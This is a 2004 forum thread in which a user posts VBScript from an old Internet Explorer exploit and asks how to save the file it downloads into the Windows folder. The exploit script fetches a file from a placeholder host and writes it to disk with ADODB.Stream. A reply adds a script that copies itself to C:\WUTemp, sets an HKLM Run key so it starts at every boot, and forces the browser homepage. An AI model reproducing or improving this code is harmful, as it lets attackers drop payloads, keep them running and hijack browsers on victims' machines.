Forums: Need Help With Some Vbscript - Forums

Jump to content

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

Need Help With Some Vbscript save file to windir

#1 User is offline   aiboforcen 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 34
  • Joined: 17-October 03

Posted 27 February 2004 - 11:36 AM

Hi all Im just playing around with this old ie exploit (its only working local)

<script language=vbs>
set oHTTP = CreateObject("msxml2.XMLHTTP")
oHTTP.open "GET", "http://yoursite/file", False
oHTTP.send
set oStream = createobject("adodb.stream")
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
oStream.type = adTypeBinary
oStream.open
oStream.write oHTTP.responseBody
oStream.savetofile "c:\folder\file ", adSaveCreateOverWrite
</script>

With this it is not possible to save a file to a folder that doesnt exists so i need a script to determine if the windows folder is c:\winnt or c:\windows and then save the file to one of these folders, is it possible ?

Thanks for any help i can get
0

#2 User is offline   Chris 

  • Specialist
  • Icon
  • Group: Specialist
  • Posts: 1,202
  • Joined: 31-August 03

Posted 27 February 2004 - 12:10 PM

Isnt there some kind of variable %windir ?
0

#3 User is offline   cornstalk 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 59
  • Joined: 27-December 03

Posted 27 February 2004 - 01:37 PM

yes, the variable is %SystemRoot%
but i dont know if it works in vbs.
0

#4 User is offline   Nick W 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 1,250
  • Joined: 12-August 03

Posted 27 February 2004 - 03:02 PM

' Initialize our shellcode object
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

' Initialize our filesystem object
Dim objFSO
Set objFSO = Wscript.CreateObject("Scripting.FileSystemObject")

' If the appropriate file is in the appropriate directory then ...
If (objFSO.FileExists("C:\WUTemp\sethomepage.vbs")) Then
' Do absolutely nothing, otherwise ...
Else
' Make the directory, copy the file into it, and set Windows to run our script on startup
	WshShell.Run("%comspec% /c mkdir C:\WUTemp"), 0
	WshShell.Run("%comspec% /c copy sethomepage.vbs C:\WUTemp\sethomepage.vbs"), 0
	WSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SetHome", "C:\WUTemp\sethomepage.vbs"
' Now we are done checking with what to do if file is or is not in the proper directory
End If

' Change the registry settings for Internet Explorer's home page for current user.
WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.google.com/"

' Release the objects because it's the right thing to do
Set WSHShell = Nothing
Set objFSO = Nothing

' Exit the application
WScript.Quit(0)


The above is a vbs file that when run will set itself on the computer and set itself to run on every startup. It forces a homepage setting.
0

#5 User is offline   supermax 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 62
  • Joined: 12-January 04

Posted 13 March 2004 - 09:15 AM

Y ou should only use C:\ your sure the computer get one and will work also
0

#6 User is offline   Logan 

  • Specialist
  • Icon
  • Group: Specialist
  • Posts: 1,596
  • Joined: 29-February 04

Posted 13 March 2004 - 05:56 PM

i know basically no VB, but if you can do system calls, do a "set systemdrive > file.txt"... which will put "SystemDrive=C:" (or other letter) in the file "file.txt"... which can be any name and put in any directory...
I know in some languages you can do shift, and if you can in VB, do a shift to the drive letter and there you go.

again, i'm not a VB programmer, so i don't know if it's possible
0

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting